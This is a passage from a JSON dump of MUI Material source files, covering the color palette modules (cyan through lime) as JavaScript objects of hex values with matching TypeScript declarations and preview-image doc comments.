    "content": "const cyan = {\n  50: '#e0f7fa',\n  100: '#b2ebf2',\n  200: '#80deea',\n  300: '#4dd0e1',\n  400: '#26c6da',\n  500: '#00bcd4',\n  600: '#00acc1',\n  700: '#0097a7',\n  800: '#00838f',\n  900: '#006064',\n  A100: '#84ffff',\n  A200: '#18ffff',\n  A400: '#00e5ff',\n  A700: '#00b8d4',\n};\n\nexport default cyan;\n"
  },
  {
    "path": "packages/mui-material/src/colors/deepOrange.d.ts",
    "content": "/**\n * ![deepOrange 50](https://mui.com/static/colors-preview/deepOrange-50-24x24.png) ![deepOrange 100](https://mui.com/static/colors-preview/deepOrange-100-24x24.png) ![deepOrange 200](https://mui.com/static/colors-preview/deepOrange-200-24x24.png) ![deepOrange 300](https://mui.com/static/colors-preview/deepOrange-300-24x24.png) ![deepOrange 400](https://mui.com/static/colors-preview/deepOrange-400-24x24.png) ![deepOrange 500](https://mui.com/static/colors-preview/deepOrange-500-24x24.png) ![deepOrange 600](https://mui.com/static/colors-preview/deepOrange-600-24x24.png) ![deepOrange 700](https://mui.com/static/colors-preview/deepOrange-700-24x24.png) ![deepOrange 800](https://mui.com/static/colors-preview/deepOrange-800-24x24.png) ![deepOrange 900](https://mui.com/static/colors-preview/deepOrange-900-24x24.png) ![deepOrange A100](https://mui.com/static/colors-preview/deepOrange-A100-24x24.png) ![deepOrange A200](https://mui.com/static/colors-preview/deepOrange-A200-24x24.png) ![deepOrange A400](https://mui.com/static/colors-preview/deepOrange-A400-24x24.png) ![deepOrange A700](https://mui.com/static/colors-preview/deepOrange-A700-24x24.png)\n */\ndeclare const deepOrange: {\n  /**\n   * Preview: ![deepOrange 50](https://mui.com/static/colors-preview/deepOrange-50-24x24.png)\n   */\n  50: '#fbe9e7';\n  /**\n   * Preview: ![deepOrange 100](https://mui.com/static/colors-preview/deepOrange-100-24x24.png)\n   */\n  100: '#ffccbc';\n  /**\n   * Preview: ![deepOrange 200](https://mui.com/static/colors-preview/deepOrange-200-24x24.png)\n   */\n  200: '#ffab91';\n  /**\n   * Preview: ![deepOrange 300](https://mui.com/static/colors-preview/deepOrange-300-24x24.png)\n   */\n  300: '#ff8a65';\n  /**\n   * Preview: ![deepOrange 400](https://mui.com/static/colors-preview/deepOrange-400-24x24.png)\n   */\n  400: '#ff7043';\n  /**\n   * Preview: ![deepOrange 500](https://mui.com/static/colors-preview/deepOrange-500-24x24.png)\n   */\n  500: '#ff5722';\n  /**\n   * Preview: ![deepOrange 600](https://mui.com/static/colors-preview/deepOrange-600-24x24.png)\n   */\n  600: '#f4511e';\n  /**\n   * Preview: ![deepOrange 700](https://mui.com/static/colors-preview/deepOrange-700-24x24.png)\n   */\n  700: '#e64a19';\n  /**\n   * Preview: ![deepOrange 800](https://mui.com/static/colors-preview/deepOrange-800-24x24.png)\n   */\n  800: '#d84315';\n  /**\n   * Preview: ![deepOrange 900](https://mui.com/static/colors-preview/deepOrange-900-24x24.png)\n   */\n  900: '#bf360c';\n  /**\n   * Preview: ![deepOrange A100](https://mui.com/static/colors-preview/deepOrange-A100-24x24.png)\n   */\n  A100: '#ff9e80';\n  /**\n   * Preview: ![deepOrange A200](https://mui.com/static/colors-preview/deepOrange-A200-24x24.png)\n   */\n  A200: '#ff6e40';\n  /**\n   * Preview: ![deepOrange A400](https://mui.com/static/colors-preview/deepOrange-A400-24x24.png)\n   */\n  A400: '#ff3d00';\n  /**\n   * Preview: ![deepOrange A700](https://mui.com/static/colors-preview/deepOrange-A700-24x24.png)\n   */\n  A700: '#dd2c00';\n};\n\nexport default deepOrange;\n"
  },
  {
    "path": "packages/mui-material/src/colors/deepOrange.js",
    "content": "const deepOrange = {\n  50: '#fbe9e7',\n  100: '#ffccbc',\n  200: '#ffab91',\n  300: '#ff8a65',\n  400: '#ff7043',\n  500: '#ff5722',\n  600: '#f4511e',\n  700: '#e64a19',\n  800: '#d84315',\n  900: '#bf360c',\n  A100: '#ff9e80',\n  A200: '#ff6e40',\n  A400: '#ff3d00',\n  A700: '#dd2c00',\n};\n\nexport default deepOrange;\n"
  },
  {
    "path": "packages/mui-material/src/colors/deepPurple.d.ts",
    "content": "/**\n * ![deepPurple 50](https://mui.com/static/colors-preview/deepPurple-50-24x24.png) ![deepPurple 100](https://mui.com/static/colors-preview/deepPurple-100-24x24.png) ![deepPurple 200](https://mui.com/static/colors-preview/deepPurple-200-24x24.png) ![deepPurple 300](https://mui.com/static/colors-preview/deepPurple-300-24x24.png) ![deepPurple 400](https://mui.com/static/colors-preview/deepPurple-400-24x24.png) ![deepPurple 500](https://mui.com/static/colors-preview/deepPurple-500-24x24.png) ![deepPurple 600](https://mui.com/static/colors-preview/deepPurple-600-24x24.png) ![deepPurple 700](https://mui.com/static/colors-preview/deepPurple-700-24x24.png) ![deepPurple 800](https://mui.com/static/colors-preview/deepPurple-800-24x24.png) ![deepPurple 900](https://mui.com/static/colors-preview/deepPurple-900-24x24.png) ![deepPurple A100](https://mui.com/static/colors-preview/deepPurple-A100-24x24.png) ![deepPurple A200](https://mui.com/static/colors-preview/deepPurple-A200-24x24.png) ![deepPurple A400](https://mui.com/static/colors-preview/deepPurple-A400-24x24.png) ![deepPurple A700](https://mui.com/static/colors-preview/deepPurple-A700-24x24.png)\n */\ndeclare const deepPurple: {\n  /**\n   * Preview: ![deepPurple 50](https://mui.com/static/colors-preview/deepPurple-50-24x24.png)\n   */\n  50: '#ede7f6';\n  /**\n   * Preview: ![deepPurple 100](https://mui.com/static/colors-preview/deepPurple-100-24x24.png)\n   */\n  100: '#d1c4e9';\n  /**\n   * Preview: ![deepPurple 200](https://mui.com/static/colors-preview/deepPurple-200-24x24.png)\n   */\n  200: '#b39ddb';\n  /**\n   * Preview: ![deepPurple 300](https://mui.com/static/colors-preview/deepPurple-300-24x24.png)\n   */\n  300: '#9575cd';\n  /**\n   * Preview: ![deepPurple 400](https://mui.com/static/colors-preview/deepPurple-400-24x24.png)\n   */\n  400: '#7e57c2';\n  /**\n   * Preview: ![deepPurple 500](https://mui.com/static/colors-preview/deepPurple-500-24x24.png)\n   */\n  500: '#673ab7';\n  /**\n   * Preview: ![deepPurple 600](https://mui.com/static/colors-preview/deepPurple-600-24x24.png)\n   */\n  600: '#5e35b1';\n  /**\n   * Preview: ![deepPurple 700](https://mui.com/static/colors-preview/deepPurple-700-24x24.png)\n   */\n  700: '#512da8';\n  /**\n   * Preview: ![deepPurple 800](https://mui.com/static/colors-preview/deepPurple-800-24x24.png)\n   */\n  800: '#4527a0';\n  /**\n   * Preview: ![deepPurple 900](https://mui.com/static/colors-preview/deepPurple-900-24x24.png)\n   */\n  900: '#311b92';\n  /**\n   * Preview: ![deepPurple A100](https://mui.com/static/colors-preview/deepPurple-A100-24x24.png)\n   */\n  A100: '#b388ff';\n  /**\n   * Preview: ![deepPurple A200](https://mui.com/static/colors-preview/deepPurple-A200-24x24.png)\n   */\n  A200: '#7c4dff';\n  /**\n   * Preview: ![deepPurple A400](https://mui.com/static/colors-preview/deepPurple-A400-24x24.png)\n   */\n  A400: '#651fff';\n  /**\n   * Preview: ![deepPurple A700](https://mui.com/static/colors-preview/deepPurple-A700-24x24.png)\n   */\n  A700: '#6200ea';\n};\n\nexport default deepPurple;\n"
  },
  {
    "path": "packages/mui-material/src/colors/deepPurple.js",
    "content": "const deepPurple = {\n  50: '#ede7f6',\n  100: '#d1c4e9',\n  200: '#b39ddb',\n  300: '#9575cd',\n  400: '#7e57c2',\n  500: '#673ab7',\n  600: '#5e35b1',\n  700: '#512da8',\n  800: '#4527a0',\n  900: '#311b92',\n  A100: '#b388ff',\n  A200: '#7c4dff',\n  A400: '#651fff',\n  A700: '#6200ea',\n};\n\nexport default deepPurple;\n"
  },
  {
    "path": "packages/mui-material/src/colors/green.d.ts",
    "content": "/**\n * ![green 50](https://mui.com/static/colors-preview/green-50-24x24.png) ![green 100](https://mui.com/static/colors-preview/green-100-24x24.png) ![green 200](https://mui.com/static/colors-preview/green-200-24x24.png) ![green 300](https://mui.com/static/colors-preview/green-300-24x24.png) ![green 400](https://mui.com/static/colors-preview/green-400-24x24.png) ![green 500](https://mui.com/static/colors-preview/green-500-24x24.png) ![green 600](https://mui.com/static/colors-preview/green-600-24x24.png) ![green 700](https://mui.com/static/colors-preview/green-700-24x24.png) ![green 800](https://mui.com/static/colors-preview/green-800-24x24.png) ![green 900](https://mui.com/static/colors-preview/green-900-24x24.png) ![green A100](https://mui.com/static/colors-preview/green-A100-24x24.png) ![green A200](https://mui.com/static/colors-preview/green-A200-24x24.png) ![green A400](https://mui.com/static/colors-preview/green-A400-24x24.png) ![green A700](https://mui.com/static/colors-preview/green-A700-24x24.png)\n */\ndeclare const green: {\n  /**\n   * Preview: ![green 50](https://mui.com/static/colors-preview/green-50-24x24.png)\n   */\n  50: '#e8f5e9';\n  /**\n   * Preview: ![green 100](https://mui.com/static/colors-preview/green-100-24x24.png)\n   */\n  100: '#c8e6c9';\n  /**\n   * Preview: ![green 200](https://mui.com/static/colors-preview/green-200-24x24.png)\n   */\n  200: '#a5d6a7';\n  /**\n   * Preview: ![green 300](https://mui.com/static/colors-preview/green-300-24x24.png)\n   */\n  300: '#81c784';\n  /**\n   * Preview: ![green 400](https://mui.com/static/colors-preview/green-400-24x24.png)\n   */\n  400: '#66bb6a';\n  /**\n   * Preview: ![green 500](https://mui.com/static/colors-preview/green-500-24x24.png)\n   */\n  500: '#4caf50';\n  /**\n   * Preview: ![green 600](https://mui.com/static/colors-preview/green-600-24x24.png)\n   */\n  600: '#43a047';\n  /**\n   * Preview: ![green 700](https://mui.com/static/colors-preview/green-700-24x24.png)\n   */\n  700: '#388e3c';\n  /**\n   * Preview: ![green 800](https://mui.com/static/colors-preview/green-800-24x24.png)\n   */\n  800: '#2e7d32';\n  /**\n   * Preview: ![green 900](https://mui.com/static/colors-preview/green-900-24x24.png)\n   */\n  900: '#1b5e20';\n  /**\n   * Preview: ![green A100](https://mui.com/static/colors-preview/green-A100-24x24.png)\n   */\n  A100: '#b9f6ca';\n  /**\n   * Preview: ![green A200](https://mui.com/static/colors-preview/green-A200-24x24.png)\n   */\n  A200: '#69f0ae';\n  /**\n   * Preview: ![green A400](https://mui.com/static/colors-preview/green-A400-24x24.png)\n   */\n  A400: '#00e676';\n  /**\n   * Preview: ![green A700](https://mui.com/static/colors-preview/green-A700-24x24.png)\n   */\n  A700: '#00c853';\n};\n\nexport default green;\n"
  },
  {
    "path": "packages/mui-material/src/colors/green.js",
    "content": "const green = {\n  50: '#e8f5e9',\n  100: '#c8e6c9',\n  200: '#a5d6a7',\n  300: '#81c784',\n  400: '#66bb6a',\n  500: '#4caf50',\n  600: '#43a047',\n  700: '#388e3c',\n  800: '#2e7d32',\n  900: '#1b5e20',\n  A100: '#b9f6ca',\n  A200: '#69f0ae',\n  A400: '#00e676',\n  A700: '#00c853',\n};\n\nexport default green;\n"
  },
  {
    "path": "packages/mui-material/src/colors/grey.d.ts",
    "content": "/**\n * ![grey 50](https://mui.com/static/colors-preview/grey-50-24x24.png) ![grey 100](https://mui.com/static/colors-preview/grey-100-24x24.png) ![grey 200](https://mui.com/static/colors-preview/grey-200-24x24.png) ![grey 300](https://mui.com/static/colors-preview/grey-300-24x24.png) ![grey 400](https://mui.com/static/colors-preview/grey-400-24x24.png) ![grey 500](https://mui.com/static/colors-preview/grey-500-24x24.png) ![grey 600](https://mui.com/static/colors-preview/grey-600-24x24.png) ![grey 700](https://mui.com/static/colors-preview/grey-700-24x24.png) ![grey 800](https://mui.com/static/colors-preview/grey-800-24x24.png) ![grey 900](https://mui.com/static/colors-preview/grey-900-24x24.png) ![grey A100](https://mui.com/static/colors-preview/grey-A100-24x24.png) ![grey A200](https://mui.com/static/colors-preview/grey-A200-24x24.png) ![grey A400](https://mui.com/static/colors-preview/grey-A400-24x24.png) ![grey A700](https://mui.com/static/colors-preview/grey-A700-24x24.png)\n */\ndeclare const grey: {\n  /**\n   * Preview: ![grey 50](https://mui.com/static/colors-preview/grey-50-24x24.png)\n   */\n  50: '#fafafa';\n  /**\n   * Preview: ![grey 100](https://mui.com/static/colors-preview/grey-100-24x24.png)\n   */\n  100: '#f5f5f5';\n  /**\n   * Preview: ![grey 200](https://mui.com/static/colors-preview/grey-200-24x24.png)\n   */\n  200: '#eeeeee';\n  /**\n   * Preview: ![grey 300](https://mui.com/static/colors-preview/grey-300-24x24.png)\n   */\n  300: '#e0e0e0';\n  /**\n   * Preview: ![grey 400](https://mui.com/static/colors-preview/grey-400-24x24.png)\n   */\n  400: '#bdbdbd';\n  /**\n   * Preview: ![grey 500](https://mui.com/static/colors-preview/grey-500-24x24.png)\n   */\n  500: '#9e9e9e';\n  /**\n   * Preview: ![grey 600](https://mui.com/static/colors-preview/grey-600-24x24.png)\n   */\n  600: '#757575';\n  /**\n   * Preview: ![grey 700](https://mui.com/static/colors-preview/grey-700-24x24.png)\n   */\n  700: '#616161';\n  /**\n   * Preview: ![grey 800](https://mui.com/static/colors-preview/grey-800-24x24.png)\n   */\n  800: '#424242';\n  /**\n   * Preview: ![grey 900](https://mui.com/static/colors-preview/grey-900-24x24.png)\n   */\n  900: '#212121';\n  /**\n   * Preview: ![grey A100](https://mui.com/static/colors-preview/grey-A100-24x24.png)\n   */\n  A100: '#f5f5f5';\n  /**\n   * Preview: ![grey A200](https://mui.com/static/colors-preview/grey-A200-24x24.png)\n   */\n  A200: '#eeeeee';\n  /**\n   * Preview: ![grey A400](https://mui.com/static/colors-preview/grey-A400-24x24.png)\n   */\n  A400: '#bdbdbd';\n  /**\n   * Preview: ![grey A700](https://mui.com/static/colors-preview/grey-A700-24x24.png)\n   */\n  A700: '#616161';\n};\n\nexport default grey;\n"
  },
  {
    "path": "packages/mui-material/src/colors/grey.js",
    "content": "const grey = {\n  50: '#fafafa',\n  100: '#f5f5f5',\n  200: '#eeeeee',\n  300: '#e0e0e0',\n  400: '#bdbdbd',\n  500: '#9e9e9e',\n  600: '#757575',\n  700: '#616161',\n  800: '#424242',\n  900: '#212121',\n  A100: '#f5f5f5',\n  A200: '#eeeeee',\n  A400: '#bdbdbd',\n  A700: '#616161',\n};\n\nexport default grey;\n"
  },
  {
    "path": "packages/mui-material/src/colors/index.d.ts",
    "content": "export { default as amber } from './amber';\nexport { default as blue } from './blue';\nexport { default as blueGrey } from './blueGrey';\nexport { default as brown } from './brown';\nexport { default as common } from './common';\nexport { default as cyan } from './cyan';\nexport { default as deepOrange } from './deepOrange';\nexport { default as deepPurple } from './deepPurple';\nexport { default as green } from './green';\nexport { default as grey } from './grey';\nexport { default as indigo } from './indigo';\nexport { default as lightBlue } from './lightBlue';\nexport { default as lightGreen } from './lightGreen';\nexport { default as lime } from './lime';\nexport { default as orange } from './orange';\nexport { default as pink } from './pink';\nexport { default as purple } from './purple';\nexport { default as red } from './red';\nexport { default as teal } from './teal';\nexport { default as yellow } from './yellow';\n"
  },
  {
    "path": "packages/mui-material/src/colors/index.js",
    "content": "export { default as common } from './common';\nexport { default as red } from './red';\nexport { default as pink } from './pink';\nexport { default as purple } from './purple';\nexport { default as deepPurple } from './deepPurple';\nexport { default as indigo } from './indigo';\nexport { default as blue } from './blue';\nexport { default as lightBlue } from './lightBlue';\nexport { default as cyan } from './cyan';\nexport { default as teal } from './teal';\nexport { default as green } from './green';\nexport { default as lightGreen } from './lightGreen';\nexport { default as lime } from './lime';\nexport { default as yellow } from './yellow';\nexport { default as amber } from './amber';\nexport { default as orange } from './orange';\nexport { default as deepOrange } from './deepOrange';\nexport { default as brown } from './brown';\nexport { default as grey } from './grey';\nexport { default as blueGrey } from './blueGrey';\n"
  },
  {
    "path": "packages/mui-material/src/colors/indigo.d.ts",
    "content": "/**\n * ![indigo 50](https://mui.com/static/colors-preview/indigo-50-24x24.png) ![indigo 100](https://mui.com/static/colors-preview/indigo-100-24x24.png) ![indigo 200](https://mui.com/static/colors-preview/indigo-200-24x24.png) ![indigo 300](https://mui.com/static/colors-preview/indigo-300-24x24.png) ![indigo 400](https://mui.com/static/colors-preview/indigo-400-24x24.png) ![indigo 500](https://mui.com/static/colors-preview/indigo-500-24x24.png) ![indigo 600](https://mui.com/static/colors-preview/indigo-600-24x24.png) ![indigo 700](https://mui.com/static/colors-preview/indigo-700-24x24.png) ![indigo 800](https://mui.com/static/colors-preview/indigo-800-24x24.png) ![indigo 900](https://mui.com/static/colors-preview/indigo-900-24x24.png) ![indigo A100](https://mui.com/static/colors-preview/indigo-A100-24x24.png) ![indigo A200](https://mui.com/static/colors-preview/indigo-A200-24x24.png) ![indigo A400](https://mui.com/static/colors-preview/indigo-A400-24x24.png) ![indigo A700](https://mui.com/static/colors-preview/indigo-A700-24x24.png)\n */\ndeclare const indigo: {\n  /**\n   * Preview: ![indigo 50](https://mui.com/static/colors-preview/indigo-50-24x24.png)\n   */\n  50: '#e8eaf6';\n  /**\n   * Preview: ![indigo 100](https://mui.com/static/colors-preview/indigo-100-24x24.png)\n   */\n  100: '#c5cae9';\n  /**\n   * Preview: ![indigo 200](https://mui.com/static/colors-preview/indigo-200-24x24.png)\n   */\n  200: '#9fa8da';\n  /**\n   * Preview: ![indigo 300](https://mui.com/static/colors-preview/indigo-300-24x24.png)\n   */\n  300: '#7986cb';\n  /**\n   * Preview: ![indigo 400](https://mui.com/static/colors-preview/indigo-400-24x24.png)\n   */\n  400: '#5c6bc0';\n  /**\n   * Preview: ![indigo 500](https://mui.com/static/colors-preview/indigo-500-24x24.png)\n   */\n  500: '#3f51b5';\n  /**\n   * Preview: ![indigo 600](https://mui.com/static/colors-preview/indigo-600-24x24.png)\n   */\n  600: '#3949ab';\n  /**\n   * Preview: ![indigo 700](https://mui.com/static/colors-preview/indigo-700-24x24.png)\n   */\n  700: '#303f9f';\n  /**\n   * Preview: ![indigo 800](https://mui.com/static/colors-preview/indigo-800-24x24.png)\n   */\n  800: '#283593';\n  /**\n   * Preview: ![indigo 900](https://mui.com/static/colors-preview/indigo-900-24x24.png)\n   */\n  900: '#1a237e';\n  /**\n   * Preview: ![indigo A100](https://mui.com/static/colors-preview/indigo-A100-24x24.png)\n   */\n  A100: '#8c9eff';\n  /**\n   * Preview: ![indigo A200](https://mui.com/static/colors-preview/indigo-A200-24x24.png)\n   */\n  A200: '#536dfe';\n  /**\n   * Preview: ![indigo A400](https://mui.com/static/colors-preview/indigo-A400-24x24.png)\n   */\n  A400: '#3d5afe';\n  /**\n   * Preview: ![indigo A700](https://mui.com/static/colors-preview/indigo-A700-24x24.png)\n   */\n  A700: '#304ffe';\n};\n\nexport default indigo;\n"
  },
  {
    "path": "packages/mui-material/src/colors/indigo.js",
    "content": "const indigo = {\n  50: '#e8eaf6',\n  100: '#c5cae9',\n  200: '#9fa8da',\n  300: '#7986cb',\n  400: '#5c6bc0',\n  500: '#3f51b5',\n  600: '#3949ab',\n  700: '#303f9f',\n  800: '#283593',\n  900: '#1a237e',\n  A100: '#8c9eff',\n  A200: '#536dfe',\n  A400: '#3d5afe',\n  A700: '#304ffe',\n};\n\nexport default indigo;\n"
  },
  {
    "path": "packages/mui-material/src/colors/lightBlue.d.ts",
    "content": "/**\n * ![lightBlue 50](https://mui.com/static/colors-preview/lightBlue-50-24x24.png) ![lightBlue 100](https://mui.com/static/colors-preview/lightBlue-100-24x24.png) ![lightBlue 200](https://mui.com/static/colors-preview/lightBlue-200-24x24.png) ![lightBlue 300](https://mui.com/static/colors-preview/lightBlue-300-24x24.png) ![lightBlue 400](https://mui.com/static/colors-preview/lightBlue-400-24x24.png) ![lightBlue 500](https://mui.com/static/colors-preview/lightBlue-500-24x24.png) ![lightBlue 600](https://mui.com/static/colors-preview/lightBlue-600-24x24.png) ![lightBlue 700](https://mui.com/static/colors-preview/lightBlue-700-24x24.png) ![lightBlue 800](https://mui.com/static/colors-preview/lightBlue-800-24x24.png) ![lightBlue 900](https://mui.com/static/colors-preview/lightBlue-900-24x24.png) ![lightBlue A100](https://mui.com/static/colors-preview/lightBlue-A100-24x24.png) ![lightBlue A200](https://mui.com/static/colors-preview/lightBlue-A200-24x24.png) ![lightBlue A400](https://mui.com/static/colors-preview/lightBlue-A400-24x24.png) ![lightBlue A700](https://mui.com/static/colors-preview/lightBlue-A700-24x24.png)\n */\ndeclare const lightBlue: {\n  /**\n   * Preview: ![lightBlue 50](https://mui.com/static/colors-preview/lightBlue-50-24x24.png)\n   */\n  50: '#e1f5fe';\n  /**\n   * Preview: ![lightBlue 100](https://mui.com/static/colors-preview/lightBlue-100-24x24.png)\n   */\n  100: '#b3e5fc';\n  /**\n   * Preview: ![lightBlue 200](https://mui.com/static/colors-preview/lightBlue-200-24x24.png)\n   */\n  200: '#81d4fa';\n  /**\n   * Preview: ![lightBlue 300](https://mui.com/static/colors-preview/lightBlue-300-24x24.png)\n   */\n  300: '#4fc3f7';\n  /**\n   * Preview: ![lightBlue 400](https://mui.com/static/colors-preview/lightBlue-400-24x24.png)\n   */\n  400: '#29b6f6';\n  /**\n   * Preview: ![lightBlue 500](https://mui.com/static/colors-preview/lightBlue-500-24x24.png)\n   */\n  500: '#03a9f4';\n  /**\n   * Preview: ![lightBlue 600](https://mui.com/static/colors-preview/lightBlue-600-24x24.png)\n   */\n  600: '#039be5';\n  /**\n   * Preview: ![lightBlue 700](https://mui.com/static/colors-preview/lightBlue-700-24x24.png)\n   */\n  700: '#0288d1';\n  /**\n   * Preview: ![lightBlue 800](https://mui.com/static/colors-preview/lightBlue-800-24x24.png)\n   */\n  800: '#0277bd';\n  /**\n   * Preview: ![lightBlue 900](https://mui.com/static/colors-preview/lightBlue-900-24x24.png)\n   */\n  900: '#01579b';\n  /**\n   * Preview: ![lightBlue A100](https://mui.com/static/colors-preview/lightBlue-A100-24x24.png)\n   */\n  A100: '#80d8ff';\n  /**\n   * Preview: ![lightBlue A200](https://mui.com/static/colors-preview/lightBlue-A200-24x24.png)\n   */\n  A200: '#40c4ff';\n  /**\n   * Preview: ![lightBlue A400](https://mui.com/static/colors-preview/lightBlue-A400-24x24.png)\n   */\n  A400: '#00b0ff';\n  /**\n   * Preview: ![lightBlue A700](https://mui.com/static/colors-preview/lightBlue-A700-24x24.png)\n   */\n  A700: '#0091ea';\n};\n\nexport default lightBlue;\n"
  },
  {
    "path": "packages/mui-material/src/colors/lightBlue.js",
    "content": "const lightBlue = {\n  50: '#e1f5fe',\n  100: '#b3e5fc',\n  200: '#81d4fa',\n  300: '#4fc3f7',\n  400: '#29b6f6',\n  500: '#03a9f4',\n  600: '#039be5',\n  700: '#0288d1',\n  800: '#0277bd',\n  900: '#01579b',\n  A100: '#80d8ff',\n  A200: '#40c4ff',\n  A400: '#00b0ff',\n  A700: '#0091ea',\n};\n\nexport default lightBlue;\n"
  },
  {
    "path": "packages/mui-material/src/colors/lightGreen.d.ts",
    "content": "/**\n * ![lightGreen 50](https://mui.com/static/colors-preview/lightGreen-50-24x24.png) ![lightGreen 100](https://mui.com/static/colors-preview/lightGreen-100-24x24.png) ![lightGreen 200](https://mui.com/static/colors-preview/lightGreen-200-24x24.png) ![lightGreen 300](https://mui.com/static/colors-preview/lightGreen-300-24x24.png) ![lightGreen 400](https://mui.com/static/colors-preview/lightGreen-400-24x24.png) ![lightGreen 500](https://mui.com/static/colors-preview/lightGreen-500-24x24.png) ![lightGreen 600](https://mui.com/static/colors-preview/lightGreen-600-24x24.png) ![lightGreen 700](https://mui.com/static/colors-preview/lightGreen-700-24x24.png) ![lightGreen 800](https://mui.com/static/colors-preview/lightGreen-800-24x24.png) ![lightGreen 900](https://mui.com/static/colors-preview/lightGreen-900-24x24.png) ![lightGreen A100](https://mui.com/static/colors-preview/lightGreen-A100-24x24.png) ![lightGreen A200](https://mui.com/static/colors-preview/lightGreen-A200-24x24.png) ![lightGreen A400](https://mui.com/static/colors-preview/lightGreen-A400-24x24.png) ![lightGreen A700](https://mui.com/static/colors-preview/lightGreen-A700-24x24.png)\n */\ndeclare const lightGreen: {\n  /**\n   * Preview: ![lightGreen 50](https://mui.com/static/colors-preview/lightGreen-50-24x24.png)\n   */\n  50: '#f1f8e9';\n  /**\n   * Preview: ![lightGreen 100](https://mui.com/static/colors-preview/lightGreen-100-24x24.png)\n   */\n  100: '#dcedc8';\n  /**\n   * Preview: ![lightGreen 200](https://mui.com/static/colors-preview/lightGreen-200-24x24.png)\n   */\n  200: '#c5e1a5';\n  /**\n   * Preview: ![lightGreen 300](https://mui.com/static/colors-preview/lightGreen-300-24x24.png)\n   */\n  300: '#aed581';\n  /**\n   * Preview: ![lightGreen 400](https://mui.com/static/colors-preview/lightGreen-400-24x24.png)\n   */\n  400: '#9ccc65';\n  /**\n   * Preview: ![lightGreen 500](https://mui.com/static/colors-preview/lightGreen-500-24x24.png)\n   */\n  500: '#8bc34a';\n  /**\n   * Preview: ![lightGreen 600](https://mui.com/static/colors-preview/lightGreen-600-24x24.png)\n   */\n  600: '#7cb342';\n  /**\n   * Preview: ![lightGreen 700](https://mui.com/static/colors-preview/lightGreen-700-24x24.png)\n   */\n  700: '#689f38';\n  /**\n   * Preview: ![lightGreen 800](https://mui.com/static/colors-preview/lightGreen-800-24x24.png)\n   */\n  800: '#558b2f';\n  /**\n   * Preview: ![lightGreen 900](https://mui.com/static/colors-preview/lightGreen-900-24x24.png)\n   */\n  900: '#33691e';\n  /**\n   * Preview: ![lightGreen A100](https://mui.com/static/colors-preview/lightGreen-A100-24x24.png)\n   */\n  A100: '#ccff90';\n  /**\n   * Preview: ![lightGreen A200](https://mui.com/static/colors-preview/lightGreen-A200-24x24.png)\n   */\n  A200: '#b2ff59';\n  /**\n   * Preview: ![lightGreen A400](https://mui.com/static/colors-preview/lightGreen-A400-24x24.png)\n   */\n  A400: '#76ff03';\n  /**\n   * Preview: ![lightGreen A700](https://mui.com/static/colors-preview/lightGreen-A700-24x24.png)\n   */\n  A700: '#64dd17';\n};\n\nexport default lightGreen;\n"
  },
  {
    "path": "packages/mui-material/src/colors/lightGreen.js",
    "content": "const lightGreen = {\n  50: '#f1f8e9',\n  100: '#dcedc8',\n  200: '#c5e1a5',\n  300: '#aed581',\n  400: '#9ccc65',\n  500: '#8bc34a',\n  600: '#7cb342',\n  700: '#689f38',\n  800: '#558b2f',\n  900: '#33691e',\n  A100: '#ccff90',\n  A200: '#b2ff59',\n  A400: '#76ff03',\n  A700: '#64dd17',\n};\n\nexport default lightGreen;\n"
  },
  {
    "path": "packages/mui-material/src/colors/lime.d.ts",
    "content": "/**\n * ![lime 50](https://mui.com/static/colors-preview/lime-50-24x24.png) ![lime 100](https://mui.com/static/colors-preview/lime-100-24x24.png) ![lime 200](https://mui.com/static/colors-preview/lime-200-24x24.png) ![lime 300](https://mui.com/static/colors-preview/lime-300-24x24.png) ![lime 400](https://mui.com/static/colors-preview/lime-400-24x24.png) ![lime 500](https://mui.com/static/colors-preview/lime-500-24x24.png) ![lime 600](https://mui.com/static/colors-preview/lime-600-24x24.png) ![lime 700](https://mui.com/static/colors-preview/lime-700-24x24.png) ![lime 800](https://mui.com/static/colors-preview/lime-800-24x24.png) ![lime 900](https://mui.com/static/colors-preview/lime-900-24x24.png) ![lime A100](https://mui.com/static/colors-preview/lime-A100-24x24.png) ![lime A200](https://mui.com/static/colors-preview/lime-A200-24x24.png) ![lime A400](https://mui.com/static/colors-preview/lime-A400-24x24.png) ![lime A700](https://mui.com/static/colors-preview/lime-A700-24x24.png)\n */\ndeclare const lime: {\n  /**\n   * Preview: ![lime 50](https://mui.com/static/colors-preview/lime-50-24x24.png)\n   */\n  50: '#f9fbe7';\n  /**\n   * Preview: ![lime 100](https://mui.com/static/colors-preview/lime-100-24x24.png)\n   */\n  100: '#f0f4c3';\n  /**\n   * Preview: ![lime 200](https://mui.com/static/colors-preview/lime-200-24x24.png)\n   */\n  200: '#e6ee9c';\n  /**\n   * Preview: ![lime 300](https://mui.com/static/colors-preview/lime-300-24x24.png)\n   */\n  300: '#dce775';\n  /**\n   * Preview: ![lime 400](https://mui.com/static/colors-preview/lime-400-24x24.png)\n   */\n  400: '#d4e157';\n  /**\n   * Preview: ![lime 500](https://mui.com/static/colors-preview/lime-500-24x24.png)\n   */\n  500: '#cddc39';\n  /**\n   * Preview: ![lime 600](https://mui.com/static/colors-preview/lime-600-24x24.png)\n   */\n  600: '#c0ca33';\n  /**\n   * Preview: ![lime 700](https://mui.com/static/colors-preview/lime-700-24x24.png)\n   */\n  700: '#afb42b';\n  /**\n   * Preview: ![lime 800](https://mui.com/static/colors-preview/lime-800-24x24.png)\n   */\n  800: '#9e9d24';\n  /**\n   * Preview: ![lime 900](https://mui.com/static/colors-preview/lime-900-24x24.png)\n   */\n  900: '#827717';\n  /**\n   * Preview: ![lime A100](https://mui.com/static/colors-preview/lime-A100-24x24.png)\n   */\n  A100: '#f4ff81';\n  /**\n   * Preview: ![lime A200](https://mui.com/static/colors-preview/lime-A200-24x24.png)\n   */\n  A200: '#eeff41';\n  /**\n   * Preview: ![lime A400](https://mui.com/static/colors-preview/lime-A400-24x24.png)\n   */\n  A400: '#c6ff00';\n  /**\n   * Preview: ![lime A700](https://mui.com/static/colors-preview/lime-A700-24x24.png)\n   */\n  A700: '#aeea00';\n};\n\nexport default lime;\n"
  },
  {
    "path": "packages/mui-material/src/colors/lime.js",
    "content": "const lime = {\n  50: '#f9fbe7',\n  100: '#f0f4c3',\n  200: '#e6ee9c',\n  300: '#dce775',\n  400: '#d4e157',\n  500: '#cddc39',\n  600: '#c0ca33',\n  700: '#afb42b',\n  800: '#9e9d24',\n  900: '#827717',\n  A100: '#f4ff81',\n  A200: '#eeff41',\n  A400: '#c6ff00',\n  A700: '#aeea00',\n};\n\nexport default lime;\n"
  },
  {
    "path": "packages/mui-material/src/colors/orange.d.ts",
